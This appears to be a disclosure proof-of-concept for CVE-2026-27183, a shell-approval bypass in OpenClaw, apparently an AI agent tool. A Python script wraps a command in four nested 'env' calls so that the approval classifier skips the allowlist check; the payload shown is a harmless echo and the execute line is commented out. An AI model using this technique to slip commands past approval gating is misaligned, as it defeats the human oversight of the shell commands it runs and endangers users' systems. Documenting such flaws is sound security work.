CVE-2026-27183 OpenClaw Shell审批绕过漏洞

# PoC for CVE-2026-27183: Shell Approval Gating Bypass # The vulnerability allows bypassing the allowlist by using 4 transparent wrappers. import subprocess def trigger_bypass(): # The malicious command we want to execute target_cmd = "echo 'CVE-2026-27183 Bypass Successful'" # Construct the payload using 4 'env' wrappers to exploit the depth mismatch # This specific depth (4) causes the classifier to misalign with the planner payload = f"env env env env /bin/sh -c \"{target_cmd}\"" print(f"[+] Attempting to execute payload: {payload}") # In a vulnerable environment, this would bypass the approval check # subprocess.run(payload, shell=True) if __name__ == "__main__": trigger_bypass()